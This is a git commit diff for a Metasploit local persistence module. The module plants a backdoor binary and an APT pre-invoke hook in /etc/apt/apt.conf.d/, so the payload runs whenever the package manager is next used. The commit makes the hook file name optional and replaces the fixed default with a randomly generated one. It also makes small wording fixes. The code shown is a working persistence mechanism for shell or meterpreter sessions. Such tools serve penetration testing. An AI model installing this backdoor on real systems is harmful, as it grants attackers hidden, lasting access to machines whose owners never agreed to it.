Dont require hook name
parent
c643436383
commit
1faa41aafe
|
@ -16,8 +16,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
'Description' => %q(
|
'Description' => %q(
|
||||||
This module will run a payload when the package manager is used. No
|
This module will run a payload when the package manager is used. No
|
||||||
handler is ran automatically so you must configure an appropriate
|
handler is ran automatically so you must configure an appropriate
|
||||||
exploit/multi/handler to connect. Module creates a pre-invoke hook
|
exploit/multi/handler to connect. This module creates a pre-invoke hook
|
||||||
for APT in apt.conf.d. The Hook name syntax is numeric followed by text.
|
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
|
||||||
),
|
),
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => ['Aaron Ringo'],
|
'Author' => ['Aaron Ringo'],
|
||||||
|
@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
],
|
],
|
||||||
'SessionTypes' => ['shell', 'meterpreter'],
|
'SessionTypes' => ['shell', 'meterpreter'],
|
||||||
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
|
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
|
||||||
'DisclosureDate' => '1999-03-09', # Date Apt package manager was included in Debian
|
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
|
||||||
'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
|
'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
|
||||||
'Targets' => [['Automatic', {}]],
|
'Targets' => [['Automatic', {}]],
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
|
@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('HOOKNAME', [true, 'Name of hook file to write', '05new-hook']),
|
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
|
||||||
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
|
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
|
||||||
])
|
])
|
||||||
|
|
||||||
|
@ -56,9 +56,9 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
def exploit
|
def exploit
|
||||||
hook_path = '/etc/apt/apt.conf.d/'
|
hook_path = '/etc/apt/apt.conf.d/'
|
||||||
unless writable? hook_path
|
unless writable? hook_path
|
||||||
fail_with Failure::BadConfig, "#{hook_path} not writable, or apt is not on system"
|
fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
|
||||||
end
|
end
|
||||||
hook_path << datastore['HOOKNAME']
|
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
|
||||||
|
|
||||||
backdoor_path = datastore['WritableDir']
|
backdoor_path = datastore['WritableDir']
|
||||||
unless writable? backdoor_path
|
unless writable? backdoor_path
|
||||||
|
@ -86,10 +86,9 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
|
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
|
||||||
end
|
end
|
||||||
print_status("Backdoor uploaded #{backdoor_path}")
|
print_status("Backdoor uploaded #{backdoor_path}")
|
||||||
print_status('Backdoor will run on next Apt update')
|
print_status('Backdoor will run on next APT update')
|
||||||
|
|
||||||
# permissions chosen to reflect common perms in /usr/local/bin/
|
# permissions chosen to reflect common perms in /usr/local/bin/
|
||||||
chmod(backdoor_path, 0755)
|
chmod(backdoor_path, 0755)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue